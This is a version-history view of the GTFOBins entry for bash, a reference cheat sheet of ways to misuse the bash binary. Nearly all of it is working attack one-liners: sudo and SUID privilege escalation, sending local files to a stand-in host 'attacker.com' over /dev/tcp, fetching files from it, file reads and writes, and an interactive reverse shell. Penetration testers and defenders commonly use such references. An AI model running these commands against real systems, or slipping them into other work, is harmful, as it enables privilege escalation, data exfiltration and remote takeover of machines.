GTFOBins.github.io/_gtfobins/bash.md

57 lines
2.1 KiB
Markdown
Raw Normal View History

2018-05-21 19:14:41 +00:00
---
functions:
2018-05-25 13:30:02 +00:00
execute-interactive:
2018-05-21 19:14:41 +00:00
- code: bash
sudo-enabled:
- code: sudo bash
suid-enabled:
- code: ./bash -p
upload:
- description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
2018-05-21 19:14:41 +00:00
code: |
2018-05-24 21:40:36 +00:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'echo -e "POST / HTTP/0.9\n\n$(cat $LFILE)" > /dev/tcp/$RHOST/$RPORT'
- description: Send local file using a TCP connection. Run `nc -l -p 12345 > "where_to_save"` on the attacker box to collect the file.
2018-05-21 19:14:41 +00:00
code: |
2018-05-24 21:40:36 +00:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_send
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
2018-05-21 19:14:41 +00:00
download:
- description: Fetch a remote file via HTTP GET request.
code: |
2018-05-24 21:40:36 +00:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
2018-05-24 22:23:02 +00:00
bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
3<>/dev/tcp/$RHOST/$RPORT \
| { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
2018-05-21 19:14:41 +00:00
code: |-
2018-05-24 21:40:36 +00:00
export RHOST=attacker.com
export RPORT=12345
export LFILE=file_to_get
bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
2018-05-25 13:30:02 +00:00
reverse-shell-interactive:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
2018-05-22 17:51:52 +00:00
code: |
2018-05-24 21:40:36 +00:00
export RHOST=attacker.com
export RPORT=12345
bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1'
2018-05-28 17:55:44 +00:00
file-read:
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
bash -c 'echo "$(<$LFILE)"'
- description: It trims trailing newlines.
code: |
export LFILE=file_to_read
2018-05-28 17:56:32 +00:00
bash -c $'read -r -d \x04 < "$LFILE"; echo "$REPLY"'
2018-05-28 18:02:20 +00:00
file-write:
- code: |
export LFILE=file_to_write
bash -c 'echo data > $LFILE'
2018-05-21 19:14:41 +00:00
---